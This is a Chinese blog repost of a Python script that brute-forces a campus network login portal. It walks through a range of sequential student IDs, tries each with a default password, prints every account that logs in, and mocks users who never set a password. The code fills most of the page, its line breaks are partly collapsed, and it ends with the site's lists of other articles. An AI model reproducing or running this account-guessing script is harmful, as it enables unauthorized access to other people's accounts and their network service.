# 源于Github的一段源码,编写的比较规范,应该是专业选手!

# encoding:utf-8
__author__ = 'www.yeayee.com' # 由本站增加注释,可随意Fork、Copy import requests # 用来请求网络的模块
import hashlib # 用来加密的模块 # 登录页的url
url = 'http://10.0.0.55/cgi-bin/do_login'
# 有些网站反爬虫,这里用headers把程序伪装成浏览器
# 部分网站如果登陆实在难以搞定,那么用cookie也是极好的
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36'} def md5(str):
# md5加密
m = hashlib.md5()
m.update(str)
return m.hexdigest() def login(form_data):
# 网址请求并获取内容
s = requests.session()
response = s.post(url, data=form_data, headers=header)
return response.content def tryAccount(id_start, id_end, default_pass):
# 登录需要提交的表单,格式为字典
form_data = {'username': 'XXXXXX', # 填入网站的用户名
'password': 'XXXXXX', # 填入网站密码(加密后的),这两行会被随后的命令赋值,因此可以省略
'drop': 0,
'type': 1,
'n': 100
} passwd = md5(default_pass)[8:24]
form_data['password'] = passwd # 将加密后的密码填入表单 for i in range(id_start, id_end):
form_data['username'] = str(i) # 将用户名填入表单
result = login(form_data) # 登录,获取返回的 response 结果
if result != 'password_error' and result != 'username_error':
print (str(i) + "\t" + result) # 打印账号、密码正确的学号...
print("\n上网不设密,活该被破解!") if __name__ == "__main__":
ID_START = 1120130000 # 起始学号
ID_END = 1120131000 # 结束学号1000测试号码
DEFAULT_PASS = "" # 初始密码
tryAccount(ID_START, ID_END, DEFAULT_PASS)

最新文章

  1. Java并发集合的实现原理
  2. Win8电脑蓝屏并提示dpc_watchdog_violation
  3. 2017/1/7 学习笔记 jar包,maven
  4. Android之Inflate()
  5. (整理)SQLServer_DBA 工具
  6. virtualenv -- python虚拟沙盒
  7. linux如何安装MyEclipse 2014
  8. RichtextBox 行和列
  9. hibernate 及缓存机制
  10. Hadoop获得先进的步步高(四)-试Hadoop
  11. MySQL5.5安装出现CMake错误找不到CMakelists.txt原因
  12. 第一百一十五节,JavaScript,DOM操作表格
  13. HDU 2498 Digits
  14. Rsync的工作方式
  15. 关于mysql使用命令行时出现Data too long for column的解决方案:
  16. DevExpress控件的GridControl实现行多选
  17. Springboot文件上传与下载
  18. 21 python 初学(json pickle shelve)
  19. 使用idea启动springMVC+Hibernate其他项目
  20. 再测简单的JSP---JSP和Serlet的关系

热门文章

  1. Graphics.Blit
  2. S SQL
  3. awk编程基础
  4. TensorMask
  5. Zookeeper 源码(二)序列化组件 Jute
  6. oj 1002题 (大数题)
  7. PDF Document Creation, Viewing
  8. 现在有很多第三方的SDK来做直播,那么我们改选择哪一种?
  9. CPU位数、地址线位数、数据线位数、通用寄存器位数!
  10. PHP(九)数组(2)